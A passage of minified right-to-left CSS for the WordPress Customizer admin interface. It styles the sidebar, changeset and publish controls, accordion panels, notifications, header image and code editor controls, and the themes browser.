.wp-full-overlay-sidebar-content{background:#f0f0f1}#customize-controls .customize-info{border:none;border-bottom:1px solid #dcdcde;margin-bottom:15px}#customize-control-changeset_preview_link input,#customize-control-changeset_status .customize-inside-control-row{background-color:#fff;border-bottom:1px solid #dcdcde;box-sizing:content-box;width:100%;margin-right:-12px;padding-right:12px;padding-left:12px}#customize-control-trash_changeset{margin-top:20px}#customize-control-trash_changeset .button-link{position:relative;padding-right:24px;display:inline-block}#customize-control-trash_changeset .button-link:before{content:"\f182";content:"\f182"/'';font:normal 22px dashicons;text-decoration:none;position:absolute;right:0;top:-2px}#customize-controls .date-input:invalid{border-color:#d63638}#customize-control-changeset_status .customize-inside-control-row{padding-top:10px;padding-bottom:10px;font-weight:500}#customize-control-changeset_status .customize-inside-control-row:first-of-type{border-top:1px solid #dcdcde}#customize-control-changeset_status .customize-control-title{margin-bottom:6px}#customize-control-changeset_status input{margin-right:0}#customize-control-changeset_preview_link{position:relative;display:block}.preview-link-wrapper .customize-copy-preview-link.preview-control-element.button{margin:0;position:absolute;top:50%;transform:translateY(-50%)!important;left:0;background:#fff!important}.preview-link-wrapper{position:relative}.customize-copy-preview-link:after,.customize-copy-preview-link:before{content:"";height:40px;position:absolute;background:#fff;top:0}.customize-copy-preview-link:before{right:-10px;width:9px;opacity:.75}.customize-copy-preview-link:after{right:-5px;width:4px;opacity:.8}#customize-control-changeset_preview_link input{line-height:2.85714286;border-top:1px solid #dcdcde;border-right:none;border-left:none;text-indent:-999px;color:#fff;min-height:40px}#customize-control-changeset_preview_link label{position:relative;display:block}#customize-control-changeset_preview_link a{display:inline-block;position:absolute;white-space:nowrap;overflow:hidden;width:90%;bottom:14px;font-size:14px;text-decoration:none}#customize-control-changeset_preview_link a.disabled,#customize-control-changeset_preview_link a.disabled:active,#customize-control-changeset_preview_link a.disabled:focus,#customize-control-changeset_preview_link a.disabled:visited{color:#000;opacity:.4;cursor:default;outline:0;box-shadow:none}#sub-accordion-section-publish_settings .customize-section-description-container{display:none}#customize-controls .customize-info.section-meta{margin-bottom:15px}.customize-control-date_time .customize-control-description+.date-time-fields.includes-time{margin-top:10px}.customize-control.customize-control-date_time .date-time-fields .date-input.day{margin-left:0}.date-time-fields .date-input.month{width:auto;margin:0}.date-time-fields .date-input.day,.date-time-fields .date-input.hour,.date-time-fields .date-input.minute{width:46px}.customize-control-date_time select{vertical-align:top}.date-time-fields .date-input.year{width:65px}.date-time-fields .date-input.meridian{width:auto;margin:0}.date-time-fields .time-row{margin-top:12px}#customize-control-changeset_preview_link{margin-top:6px}#customize-control-changeset_status{margin-bottom:0;padding-bottom:0}#customize-control-changeset_scheduled_date{box-sizing:content-box;width:100%;margin-right:-12px;padding:12px;background:#fff;border-bottom:1px solid #dcdcde;margin-bottom:0}#customize-control-changeset_scheduled_date .customize-control-description,#customize-control-site_icon .customize-control-description{font-style:normal}#customize-controls .customize-info.is-in-view,#customize-controls .customize-section-title.is-in-view{position:absolute;z-index:9;width:100%;box-shadow:0 1px 0 rgba(0,0,0,.1)}#customize-controls .customize-section-title.is-in-view{margin-top:0}#customize-controls .customize-info.is-in-view+.accordion-section{margin-top:15px}#customize-controls .customize-info.is-sticky,#customize-controls .customize-section-title.is-sticky{position:fixed;top:46px}#customize-controls .customize-info .accordion-section-title{background:#fff;color:#50575e;border-right:none;border-left:none;border-bottom:none;cursor:default;padding:10px 14px 11px 10px}#customize-controls .customize-info .accordion-section-title:focus:after,#customize-controls .customize-info .accordion-section-title:hover:after,#customize-controls .customize-info.open .accordion-section-title:after{color:#2c3338}#customize-controls .customize-info .accordion-section-title:after{display:none}#customize-controls .customize-info .preview-notice{font-size:13px;line-height:1.9;margin:0;font-weight:400;color:#50575e}#customize-controls .customize-info .panel-title,#customize-controls .customize-pane-child .customize-section-title h3,#customize-controls .customize-pane-child h3.customize-section-title,#customize-outer-theme-controls .customize-pane-child .customize-section-title h3,#customize-outer-theme-controls .customize-pane-child h3.customize-section-title{font-size:20px;font-weight:200;line-height:26px;display:block;overflow:hidden;white-space:nowrap;text-overflow:ellipsis}#customize-controls .customize-section-title span.customize-action{overflow:hidden;white-space:nowrap;text-overflow:ellipsis}#customize-controls .customize-info .customize-help-toggle{position:absolute;top:4px;left:1px;padding:20px 10px 10px 20px;width:20px;height:20px;cursor:pointer;box-shadow:none;background:0 0;color:#50575e;border:none}#customize-controls .customize-info .customize-help-toggle:before{position:absolute;top:5px;right:6px}#customize-controls .customize-info .customize-panel-description,#customize-controls .customize-info .customize-section-description,#customize-controls .no-widget-areas-rendered-notice,#customize-outer-theme-controls .customize-info .customize-section-description{color:#50575e;display:none;background:#fff;padding:12px 15px;border-top:1px solid #dcdcde}#customize-controls .customize-info .customize-panel-description.open+.no-widget-areas-rendered-notice{border-top:none}.no-widget-areas-rendered-notice{font-style:italic}.no-widget-areas-rendered-notice p:first-child{margin-top:0}.no-widget-areas-rendered-notice p:last-child{margin-bottom:0}#customize-controls .customize-info .customize-section-description{margin-bottom:15px}#customize-controls .customize-info .customize-panel-description p:first-child,#customize-controls .customize-info .customize-section-description p:first-child{margin-top:0}#customize-controls .customize-info .customize-panel-description p:last-child,#customize-controls .customize-info .customize-section-description p:last-child{margin-bottom:0}#customize-controls .current-panel .control-section>h3.accordion-section-title{padding-left:30px}#customize-outer-theme-controls .control-section,#customize-theme-controls .control-section{border:none}#customize-outer-theme-controls .accordion-section-title,#customize-theme-controls .accordion-section-title{color:#50575e;background-color:#fff;border-bottom:1px solid #dcdcde;border-right:4px solid #fff;transition:.15s color ease-in-out,.15s background-color ease-in-out,.15s border-color ease-in-out}#customize-controls .current-panel .control-section>h3.accordion-section-title:has(button.accordion-trigger),.accordion-section-title:has(button.accordion-trigger){padding:0}.accordion-section-title button.accordion-trigger{all:unset;width:100%;padding:10px 14px 11px 30px;display:flex;align-items:center;box-sizing:border-box}.accordion-section-title button.accordion-trigger:has(.menu-in-location){display:block}.accordion-section-title button.accordion-trigger .spinner{margin-top:0}@media (prefers-reduced-motion:reduce){#customize-outer-theme-controls .accordion-section-title,#customize-theme-controls .accordion-section-title{transition:none}}#customize-controls #customize-theme-controls .customize-themes-panel .accordion-section-title{color:#50575e;background-color:#fff;border-right:4px solid #fff}#customize-outer-theme-controls .accordion-section-title:after,#customize-theme-controls .accordion-section-title:after{content:"\f341";content:"\f345"/'';color:#a7aaad;pointer-events:none}#customize-outer-theme-controls .accordion-section-content,#customize-theme-controls .accordion-section-content{color:#50575e;background:0 0}#accordion-section-themes+.control-section{border-top:1px solid #dcdcde}.js .control-section .accordion-section-title:focus,.js .control-section .accordion-section-title:hover,.js .control-section.open .accordion-section-title,.js .control-section:hover .accordion-section-title{background:#f6f7f7}#customize-theme-controls .control-section.open{border-bottom:1px solid #f0f0f1}#customize-outer-theme-controls .control-section.open .accordion-section-title,#customize-theme-controls .control-section.open .accordion-section-title{border-bottom-color:#f0f0f1!important}#customize-theme-controls .control-section:last-of-type.open,#customize-theme-controls .control-section:last-of-type>.accordion-section-title{border-bottom-color:#dcdcde}#customize-theme-controls .control-panel-content:not(.control-panel-nav_menus) .control-section:nth-child(2),#customize-theme-controls .control-panel-nav_menus .control-section-nav_menu,#customize-theme-controls .control-section-nav_menu_locations .accordion-section-title{border-top:1px solid #dcdcde}#customize-theme-controls .control-panel-nav_menus .control-section-nav_menu+.control-section-nav_menu{border-top:none}#customize-theme-controls>ul{margin:0}#customize-theme-controls .accordion-section-content{position:absolute;top:0;right:100%;width:100%;margin:0;padding:12px;box-sizing:border-box}#customize-info,#customize-theme-controls .customize-pane-child,#customize-theme-controls .customize-pane-parent{overflow:visible;width:100%;margin:0;padding:0;box-sizing:border-box;transition:.18s transform cubic-bezier(.645, .045, .355, 1)}@media (prefers-reduced-motion:reduce){#customize-info,#customize-theme-controls .customize-pane-child,#customize-theme-controls .customize-pane-parent{transition:none}}#customize-theme-controls .customize-pane-child.skip-transition{transition:none}#customize-info,#customize-theme-controls .customize-pane-parent{position:relative;visibility:visible;height:auto;max-height:none;overflow:auto;transform:none}#customize-theme-controls .customize-pane-child{position:absolute;top:0;right:0;visibility:hidden;height:0;max-height:none;overflow:hidden;transform:translateX(-100%)}#customize-theme-controls .customize-pane-child.current-panel,#customize-theme-controls .customize-pane-child.open{transform:none}.in-sub-panel #customize-info,.in-sub-panel #customize-theme-controls .customize-pane-parent,.in-sub-panel.section-open #customize-theme-controls .customize-pane-child.current-panel,.section-open #customize-info,.section-open #customize-theme-controls .customize-pane-parent{visibility:hidden;height:0;overflow:hidden;transform:translateX(100%)}#customize-theme-controls .customize-pane-child.busy,#customize-theme-controls .customize-pane-child.current-panel,#customize-theme-controls .customize-pane-child.open,.busy.section-open.in-sub-panel #customize-theme-controls .customize-pane-child.current-panel,.in-sub-panel #customize-info.busy,.in-sub-panel #customize-theme-controls .customize-pane-parent.busy,.section-open #customize-info.busy,.section-open #customize-theme-controls .customize-pane-parent.busy{visibility:visible;height:auto;overflow:auto}#customize-theme-controls .customize-pane-child.accordion-section-content,#customize-theme-controls .customize-pane-child.accordion-sub-container{display:block;overflow-x:hidden}#customize-theme-controls .customize-pane-child.accordion-section-content{padding:12px}#customize-theme-controls .customize-pane-child.menu li{position:static}.control-section-nav_menu .customize-section-description-container,.control-section-new_menu .customize-section-description-container,.customize-section-description-container{margin-bottom:15px}.control-section-nav_menu .customize-control,.control-section-new_menu .customize-control{margin-bottom:0}.customize-section-title{margin:-12px -12px 0;border-bottom:1px solid #dcdcde;background:#fff}div.customize-section-description{margin-top:22px}.customize-info div.customize-section-description{margin-top:0}div.customize-section-description p:first-child{margin-top:0}div.customize-section-description p:last-child{margin-bottom:0}#customize-theme-controls .customize-themes-panel h3.customize-section-title:first-child{border-bottom:1px solid #dcdcde;padding:12px}.ios #customize-theme-controls .customize-themes-panel h3.customize-section-title:first-child{padding:12px 12px 13px}.customize-section-title h3,h3.customize-section-title{padding:10px 14px 12px 10px;margin:0;line-height:21px;color:#50575e}.accordion-sub-container.control-panel-content{display:none;position:absolute;top:0;width:100%}.accordion-sub-container.control-panel-content.busy{display:block}.current-panel .accordion-sub-container.control-panel-content{width:100%}.customize-controls-close{display:block;position:absolute;top:0;right:0;width:45px;height:41px;padding:0 0 0 2px;background:#f0f0f1;border:none;border-top:4px solid #f0f0f1;border-left:1px solid #dcdcde;color:#3c434a;text-align:right;cursor:pointer;box-sizing:content-box}@media (prefers-reduced-motion:no-preference){.customize-controls-close{transition:color .15s ease-in-out,border-color .15s ease-in-out,background .15s ease-in-out}}.customize-panel-back,.customize-section-back{display:block;float:right;width:48px;height:71px;padding:0 0 0 24px;margin:0;background:#fff;border:none;border-left:1px solid #dcdcde;border-right:4px solid #fff;box-shadow:none;cursor:pointer;transition:color .15s ease-in-out,border-color .15s ease-in-out,background .15s ease-in-out}.customize-section-back{height:74px}.ios .customize-panel-back{display:none}.ios .expanded.in-sub-panel .customize-panel-back{display:block}#customize-controls .panel-meta.customize-info .accordion-section-title{margin-right:48px;border-right:none}#customize-controls .cannot-expand:hover .accordion-section-title,#customize-controls .panel-meta.customize-info .accordion-section-title:hover{background:#fff;color:#50575e;border-right-color:#fff}.customize-controls-close:focus,.customize-controls-close:hover,.customize-controls-preview-toggle:focus,.customize-controls-preview-toggle:hover{background:#fff;box-shadow:none;outline:1px solid transparent}#customize-theme-controls .accordion-section-title:focus .customize-action{outline:1px solid transparent;outline-offset:1px}.customize-panel-back:focus,.customize-panel-back:hover,.customize-section-back:focus,.customize-section-back:hover{background:#f6f7f7;box-shadow:none;outline:2px solid transparent;outline-offset:-2px}.customize-controls-close:before{font:normal 22px/45px dashicons;content:"\f335";content:"\f335"/'';position:relative;top:-3px;right:13px}.customize-panel-back:before,.customize-section-back:before{font:normal 20px/72px dashicons;content:"\f345";content:"\f341"/'';position:relative;right:9px}.wp-full-overlay-sidebar .wp-full-overlay-header{background-color:#f0f0f1;transition:padding ease-in-out .18s}.in-sub-panel .wp-full-overlay-sidebar .wp-full-overlay-header{padding-right:62px}p.customize-section-description{font-style:normal;margin-top:22px;margin-bottom:0}.customize-section-description ul{margin-right:1em}.customize-section-description ul>li{list-style:disc}.section-description-buttons{text-align:left}.customize-control{width:100%;float:right;clear:both;margin-bottom:12px}.customize-control input[type=email],.customize-control input[type=number],.customize-control input[type=password],.customize-control input[type=range],.customize-control input[type=search],.customize-control input[type=tel],.customize-control input[type=text],.customize-control input[type=url]{width:100%;margin:0}.customize-control-hidden{margin:0}.customize-control-textarea textarea{width:100%;resize:vertical}.customize-control select{width:100%}.customize-control select[multiple]{height:auto}.customize-control-title{display:block;font-size:14px;line-height:1.75;font-weight:600;margin-bottom:4px}.customize-control-description{display:block;font-style:italic;line-height:1.4;margin-top:0;margin-bottom:5px}.customize-section-description a.external-link:after{font:16px/11px dashicons;content:"\f504";content:"\f504"/'';top:3px;position:relative;padding-right:3px;display:inline-block;text-decoration:none}.customize-control-color .color-picker,.customize-control-upload div{line-height:28px}.customize-control .customize-inside-control-row{line-height:1.6;display:block;margin-right:24px;padding-top:6px;padding-bottom:6px}.customize-control-checkbox input,.customize-control-nav_menu_auto_add input,.customize-control-radio input{margin-left:4px;margin-right:-24px}.customize-control-radio{padding:5px 0 10px}.customize-control-radio .customize-control-title{margin-bottom:0;line-height:1.6}.customize-control-radio .customize-control-title+.customize-control-description{margin-top:7px}.customize-control-checkbox label,.customize-control-radio label{vertical-align:top}.customize-control .attachment-thumb.type-icon{float:right;margin:10px;width:auto}.customize-control .attachment-title{font-weight:600;margin:0;padding:5px 10px}.customize-control .attachment-meta{white-space:nowrap;overflow:hidden;text-overflow:ellipsis;margin:0;padding:0 10px}.customize-control .attachment-meta-title{padding-top:7px}.customize-control .thumbnail-image,.customize-control .wp-media-wrapper.wp-video,.customize-control-header .current{line-height:0}.customize-control .thumbnail-image img{cursor:pointer}#customize-controls .thumbnail-audio .thumbnail{max-width:64px;max-height:64px;margin:10px;float:right}#available-menu-items .accordion-section-content .new-content-item-wrapper,.customize-control-dropdown-pages .new-content-item-wrapper{width:calc(100% - 30px);padding:8px 15px;position:absolute;bottom:0;z-index:10;background:#f0f0f1}.customize-control-dropdown-pages .new-content-item-wrapper{width:100%;padding:0;position:static}#available-menu-items .new-content-item-wrapper>label,.customize-control-dropdown-pages .new-content-item-wrapper>label{margin-bottom:4px;display:block}#available-menu-items .accordion-section-content .new-content-item,.customize-control-dropdown-pages .new-content-item{display:flex}.customize-control-dropdown-pages .new-content-item{width:100%;padding:5px 1px 5px 0;position:relative}.customize-control-dropdown-pages .new-content-item-wrapper .new-content-item{padding:0}.customize-control-dropdown-pages .new-content-item-wrapper .new-content-item label{line-height:1.6}#available-menu-items .new-content-item .create-item-input,.customize-control-dropdown-pages .new-content-item .create-item-input{flex-grow:10;width:100%}#available-menu-items .new-content-item .create-item-input{min-height:32px;line-height:2.15384615}#available-menu-items .new-content-item .add-content,.customize-control-dropdown-pages .new-content-item .add-content{margin:0 6px 0 0;flex-grow:1}#available-menu-items .new-content-item .add-content{min-height:32px;line-height:2.30769231}.customize-control-dropdown-pages .new-content-item .create-item-input.invalid{border:1px solid #d63638}.customize-control-dropdown-pages .add-new-toggle{margin-right:1px;font-weight:600;line-height:2.2}#customize-preview iframe{width:100%;height:100%;position:absolute}#customize-preview iframe+iframe{visibility:hidden}.wp-full-overlay-sidebar{background:#f0f0f1;border-left:1px solid #dcdcde}#customize-controls .customize-control-notifications-container{margin:4px 0 8px;padding:0;cursor:default}#customize-controls .customize-control-widget_form.has-error .widget .widget-top,.customize-control-nav_menu_item.has-error .menu-item-bar .menu-item-handle{box-shadow:inset 0 0 0 2px #d63638;transition:.15s box-shadow linear}#customize-controls .customize-control-notifications-container li.notice{list-style:none;margin:0 0 6px;padding:9px 14px;overflow:hidden}#customize-controls .customize-control-notifications-container .notice.is-dismissible{padding-left:38px}.customize-control-notifications-container li.notice:last-child{margin-bottom:0}#customize-controls .customize-control-nav_menu_item .customize-control-notifications-container{margin-top:0}#customize-controls .customize-control-widget_form .customize-control-notifications-container{margin-top:8px}.customize-control-text.has-error input{outline:2px solid #d63638}#customize-controls #customize-notifications-area{position:absolute;top:46px;width:100%;border-bottom:1px solid #dcdcde;display:block;padding:0;margin:0}.wp-full-overlay.collapsed #customize-controls #customize-notifications-area{display:none!important}#customize-controls #customize-notifications-area:not(.has-overlay-notifications),#customize-controls .customize-section-title>.customize-control-notifications-container:not(.has-overlay-notifications),#customize-controls .panel-meta>.customize-control-notifications-container:not(.has-overlay-notifications){max-height:210px;overflow-x:hidden;overflow-y:auto}#customize-controls #customize-notifications-area .notice,#customize-controls #customize-notifications-area>ul,#customize-controls .customize-section-title>.customize-control-notifications-container,#customize-controls .customize-section-title>.customize-control-notifications-container .notice,#customize-controls .panel-meta>.customize-control-notifications-container,#customize-controls .panel-meta>.customize-control-notifications-container .notice{margin:0}#customize-controls .customize-section-title>.customize-control-notifications-container,#customize-controls .panel-meta>.customize-control-notifications-container{border-top:1px solid #dcdcde}#customize-controls #customize-notifications-area .notice,#customize-controls .customize-section-title>.customize-control-notifications-container .notice,#customize-controls .panel-meta>.customize-control-notifications-container .notice{padding:9px 14px}#customize-controls #customize-notifications-area .notice.is-dismissible,#customize-controls .customize-section-title>.customize-control-notifications-container .notice.is-dismissible,#customize-controls .panel-meta>.customize-control-notifications-container .notice.is-dismissible{padding-left:38px}#customize-controls #customize-notifications-area .notice+.notice,#customize-controls .customize-section-title>.customize-control-notifications-container .notice+.notice,#customize-controls .panel-meta>.customize-control-notifications-container .notice+.notice{margin-top:1px}@keyframes customize-fade-in{0%{opacity:0}100%{opacity:1}}#customize-controls #customize-notifications-area .notice.notification-overlay,#customize-controls .notice.notification-overlay{margin:0;border-right:0}#customize-controls .customize-control-notifications-container.has-overlay-notifications{animation:customize-fade-in .5s;z-index:30}#customize-controls #customize-notifications-area .notice.notification-overlay .notification-message{clear:both;color:#1d2327;font-size:18px;font-style:normal;margin:0;padding:2em 0;text-align:center;width:100%;display:block;top:50%;position:relative}#customize-control-show_on_front.has-error{margin-bottom:0}#customize-control-show_on_front.has-error .customize-control-notifications-container{margin-top:12px}.accordion-section .dropdown{float:right;display:block;position:relative;cursor:pointer}.accordion-section .dropdown-content{overflow:hidden;float:right;min-width:30px;height:16px;line-height:16px;margin-left:16px;padding:4px 5px;border:2px solid #f0f0f1;-webkit-user-select:none;user-select:none}.customize-control .dropdown-arrow{position:absolute;top:0;bottom:0;left:0;width:20px;background:#f0f0f1}.customize-control .dropdown-arrow:after{content:"\f140";content:"\f140"/'';font:normal 20px/1 dashicons;display:block;padding:0;text-indent:0;text-align:center;position:relative;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;text-decoration:none!important;color:#2c3338}.customize-control .dropdown-status{color:#2c3338;background:#f0f0f1;display:none;max-width:112px}.customize-control-color .dropdown{margin-left:5px;margin-bottom:5px}.customize-control-color .dropdown .dropdown-content{background-color:#50575e;border:1px solid rgba(0,0,0,.15)}.customize-control-color .dropdown:hover .dropdown-content{border-color:rgba(0,0,0,.25)}.ios .wp-full-overlay{position:relative}.ios #customize-controls .wp-full-overlay-sidebar-content{-webkit-overflow-scrolling:touch}.customize-control .actions .button{margin-top:12px}.customize-control-header .actions,.customize-control-header .uploaded{margin-bottom:18px}.customize-control-header .default button:not(.random),.customize-control-header .uploaded button:not(.random){width:100%;padding:0;margin:0;background:0 0;border:none;color:inherit;cursor:pointer}.customize-control-header button img{display:block}.customize-control .attachment-media-view .default-button,.customize-control .attachment-media-view .remove-button,.customize-control .attachment-media-view .upload-button,.customize-control-header button.new,.customize-control-header button.remove{width:auto;height:auto;white-space:normal}.customize-control .attachment-media-view .upload-button{width:100%;text-align:center}.customize-control .attachment-media-view .upload-button.control-focus{width:auto}.customize-control.customize-control-header .actions .upload-button.button.new{width:100%;text-align:center}.customize-control .attachment-media-view .thumbnail,.customize-control-header .current .container{overflow:hidden}.customize-control .attachment-media-view .button-add-media,.customize-control .attachment-media-view .placeholder,.customize-control-header .placeholder{width:100%;position:relative;text-align:center;cursor:default;border:1px dashed #c3c4c7;box-sizing:border-box;padding:9px 0;line-height:1.6}.customize-control .attachment-media-view .button-add-media{cursor:pointer;background-color:#f0f0f1;color:#2c3338}.customize-control .attachment-media-view .button-add-media:hover{background-color:#fff}.customize-control .attachment-media-view .button-add-media:focus{background-color:#fff;border-color:#3582c4;border-style:solid;box-shadow:0 0 0 1px #3582c4;outline:2px solid transparent}.customize-control-header .inner{display:none;position:absolute;width:100%;color:#50575e;white-space:nowrap;text-overflow:ellipsis;overflow:hidden}.customize-control-header .inner,.customize-control-header .inner .dashicons{line-height:20px;top:8px}.customize-control-header .list .inner,.customize-control-header .list .inner .dashicons{top:9px}.customize-control-header .header-view{position:relative;width:100%;margin-bottom:12px}.customize-control-header .header-view:last-child{margin-bottom:0}.customize-control-header .header-view:after{border:0}.customize-control-header .header-view.selected .choice:focus{outline:0}.customize-control-header .header-view.selected:after{content:"";position:absolute;height:auto;top:0;right:0;bottom:0;left:0;border:4px solid #72aee6;border-radius:2px}.customize-control-header .header-view.button.selected{border:0}.customize-control-header .uploaded .header-view .close{font-size:20px;color:#fff;background:#50575e;background:rgba(0,0,0,.5);position:absolute;top:10px;right:-999px;z-index:1;width:26px;height:26px;cursor:pointer}.customize-control-header .header-view .close:focus,.customize-control-header .header-view:hover .close{right:auto;left:10px}.customize-control-header .header-view .close:focus{outline:1px solid #4f94d4}.customize-control-header .random.placeholder{cursor:pointer;border-radius:2px;height:40px}.customize-control-header button.random{width:100%;height:auto;min-height:40px;white-space:normal}.customize-control-header button.random .dice{margin-top:0}.customize-control-header .header-view:hover>button.random .dice,.customize-control-header .placeholder:hover .dice{animation:dice-color-change 3s infinite}.button-see-me{animation:bounce .7s 1;transform-origin:center bottom}@keyframes bounce{20%,53%,80%,from,to{animation-timing-function:cubic-bezier(0.215,0.610,0.355,1.000);transform:translate3d(0,0,0)}40%,43%{animation-timing-function:cubic-bezier(0.755,0.050,0.855,0.060);transform:translate3d(0,-12px,0)}70%{animation-timing-function:cubic-bezier(0.755,0.050,0.855,0.060);transform:translate3d(0,-6px,0)}90%{transform:translate3d(0,-1px,0)}}.customize-control-header .choice{position:relative;display:block;margin-bottom:9px}.customize-control-header .choice:focus{box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color,#3858e9);outline:2px solid transparent}.customize-control-header .uploaded div:last-child>.choice{margin-bottom:0}.customize-control .attachment-media-view .thumbnail-image img,.customize-control-header img{max-width:100%}.customize-control .attachment-media-view .default-button,.customize-control .attachment-media-view .remove-button,.customize-control-header .remove{margin-left:8px}.customize-control-background_position .background-position-control .button-group{display:block}.customize-control-code_editor textarea{width:100%;font-family:Consolas,Monaco,monospace;font-size:12px;padding:6px 8px;tab-size:2}.customize-control-code_editor .CodeMirror,.customize-control-code_editor textarea{height:14em}#customize-controls .customize-section-description-container.section-meta.customize-info{border-bottom:none}#sub-accordion-section-custom_css .customize-control-notifications-container{margin-bottom:15px}#customize-control-custom_css textarea{display:block;height:500px}.customize-section-description-container+#customize-control-custom_css .customize-control-title{margin-right:12px}.customize-section-description-container+#customize-control-custom_css:last-child textarea{border-left:0;border-right:0;height:calc(100vh - 185px);resize:none}.customize-section-description-container+#customize-control-custom_css:last-child{margin-right:-12px;width:299px;width:calc(100% + 24px);margin-bottom:-12px}.customize-section-description-container+#customize-control-custom_css:last-child .CodeMirror{height:calc(100vh - 185px)}.CodeMirror-hints,.CodeMirror-lint-tooltip{z-index:500000!important}.customize-section-description-container+#customize-control-custom_css:last-child .customize-control-notifications-container{margin-right:12px;margin-left:12px}.theme-browser .theme.active .theme-actions,.wp-customizer .theme-browser .theme .theme-actions{padding:9px 15px}.theme-browser .theme:not(.active) .theme-actions{box-shadow:inset 0 1px 0 rgba(0,0,0,.1)}@media screen and (max-width:640px){.customize-section-description-container+#customize-control-custom_css:last-child{margin-left:0}.customize-section-description-container+#customize-control-custom_css:last-child textarea{height:calc(100vh - 140px)}}#customize-theme-controls .control-panel-themes{border-bottom:none}#customize-theme-controls .control-panel-themes>.accordion-section-title,#customize-theme-controls .control-panel-themes>.accordion-section-title:hover{cursor:default;background:#fff;color:#50575e;border-top:1px solid #dcdcde;border-bottom:1px solid #dcdcde;border-right:none;border-left:none;margin:0 0 15px;padding:12px 15px 15px 100px}#customize-theme-controls .control-section-themes .customize-themes-panel .accordion-section-title:first-child,#customize-theme-controls .control-section-themes .customize-themes-panel .accordion-section-title:first-child:hover{border-top:0}#customize-theme-controls .control-section-themes>.accordion-section-title,#customize-theme-controls .control-section-themes>.accordion-section-title:hover{margin:0 0 15px}#customize-controls .customize-themes-panel .accordion-section-title,#customize-controls .customize-themes-panel .accordion-section-title:hover{margin:15px -8px}#customize-controls .control-section-themes .accordion-section-title,#customize-controls .customize-themes-panel .accordion-section-title{padding-left:100px}#customize-controls .control-section-themes .accordion-section-title span.customize-action,#customize-controls .customize-section-title span.customize-action,.control-panel-themes .accordion-section-title span.customize-action{font-size:13px;display:block;font-weight:400}#customize-theme-controls .control-panel-themes .accordion-section-title .change-theme{position:absolute;left:10px;top:50%;margin-top:-20px;font-weight:400}#customize-notifications-area .notification-message button.switch-to-editor{display:block;margin-top:6px;font-weight:400}#customize-theme-controls .control-panel-themes>.accordion-section-title:after{display:none}.control-panel-themes .customize-themes-full-container{position:fixed;top:0;right:0;transition:.18s right ease-in-out;margin:0 300px 0 0;padding:71px 0 25px;overflow-y:scroll;width:calc(100% - 300px);height:calc(100% - 96px);background:#f0f0f1;z-index:20}@media (prefers-reduced-motion:reduce){.control-panel-themes .customize-themes-full-container{transition:none}}@media screen and (min-width:1670px){.control-panel-themes .customize-themes-full-container{width:82%;left:0;right:initial}}.modal-open .control-panel-themes .customize-themes-full-container{overflow-y:visible}#customize-header-actions .customize-controls-preview-toggle,#customize-header-actions .spinner,#customize-save-button-wrapper{transition:.18s margin ease-in-out}#customize-footer-actions,#customize-footer-actions .collapse-sidebar{bottom:0;transition:.18s bottom ease-in-out}.in-themes-panel:not(.animating) #customize-footer-actions,.in-themes-panel:not(.animating) #customize-header-actions .customize-controls-preview-toggle,.in-themes-panel:not(.animating) #customize-header-actions .spinner,.in-themes-panel:not(.animating) #customize-preview{visibility:hidden}.wp-full-overlay.in-themes-panel{background:#f0f0f1}.in-themes-panel #customize-header-actions .customize-controls-preview-toggle,.in-themes-panel #customize-header-actions .spinner,.in-themes-panel #customize-save-button-wrapper{margin-top:-46px}.in-themes-panel #customize-footer-actions,.in-themes-panel #customize-footer-actions .collapse-sidebar{bottom:-45px}.in-themes-panel.animating .control-panel-themes .filter-themes-count{display:none}.in-themes-panel.wp-full-overlay .wp-full-overlay-sidebar-content{bottom:0}.themes-filter-bar .feature-filter-toggle{min-height:32px;line-height:2.30769231}.themes-filter-bar .feature-filter-toggle:before{content:"\f111";content:"\f111"/'';margin:0 0 0 5px;font:normal 16px/1 dashicons;vertical-align:text-bottom;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.themes-filter-bar .feature-filter-toggle.open{background:#f0f0f1;border-color:#8c8f94;box-shadow:inset 0 2px 5px -3px rgba(0,0,0,.5)}.themes-filter-bar .feature-filter-toggle .filter-count-filters{display:none}.filter-drawer{box-sizing:border-box;width:100%;position:absolute;top:46px;right:0;padding:25px 25px 25px 0;border-top:0;margin:0;background:#f0f0f1;border-bottom:1px solid #dcdcde}.filter-drawer .filter-group{margin:0 0 0 25px;width:calc((100% - 75px)/ 3);min-width:200px;max-width:320px}@keyframes themes-fade-in{0%{opacity:0}50%{opacity:0}100%{opacity:1}}.control-panel-themes .customize-themes-full-container.animate{animation:.6s themes-fade-in 1}.in-themes-panel:not(.animating) .control-panel-themes .filter-themes-count{animation:.6s themes-fade-in 1}.control-panel-themes .filter-themes-count .themes-displayed{font-weight:600;color:#50575e}.customize-themes-notifications{margin:0}.control-panel-themes .customize-themes-notifications .notice{margin:0 0 25px}.customize-themes-full-container .customize-themes-section{display:none!important;overflow:hidden}.customize-themes-full-container .customize-themes-section.current-section{display:list-item!important}.control-section .customize-section-text-before{padding:0 15px 8px 0;margin:15px 0 0;line-height:16px;border-bottom:1px solid #dcdcde;color:#50575e}.control-panel-themes .customize-themes-section-title{width:100%;background:#fff;box-shadow:none;outline:0;border-top:none;border-bottom:1px solid #dcdcde;border-right:4px solid #fff;border-left:none;cursor:pointer;padding:10px 15px;position:relative;text-align:right;font-size:14px;font-weight:600;color:#50575e;text-shadow:none}.control-panel-themes #accordion-section-installed_themes{border-top:1px solid #dcdcde}.control-panel-themes .theme-section{margin:0;position:relative}.control-panel-themes .customize-themes-section-title:focus,.control-panel-themes .customize-themes-section-title:hover{background:#f6f7f7}.customize-themes-section-title:not(.selected):after{content:"";display:block;position:absolute;top:9px;left:15px;width:18px;height:18px;border-radius:100%;border:1px solid #c3c4c7;background:#fff}.control-panel-themes .theme-section .customize-themes-section-title.selected:after{content:"\f147";content:"\f147"/'';font:16px/1 dashicons;box-sizing:border-box;width:20px;height:20px;padding:3px 1px 1px 3px;border-radius:100%;position:absolute;top:9px;left:15px;color:#fff}#customize-theme-controls .themes.accordion-section-content{position:relative;right:0;padding:0;width:100%}.loading .customize-themes-section .spinner{display:block;visibility:visible;position:relative;clear:both;width:20px;height:20px;right:calc(50% - 10px);float:none;margin-top:50px}.customize-themes-section .no-themes,.customize-themes-section .no-themes-local{display:none}.themes-section-installed_themes .theme .notice-success:not(.updated-message){display:none}.customize-control-theme .theme{width:100%;margin:0;border:1px solid #dcdcde;background:#fff}.customize-control-theme .theme .theme-actions,.customize-control-theme .theme 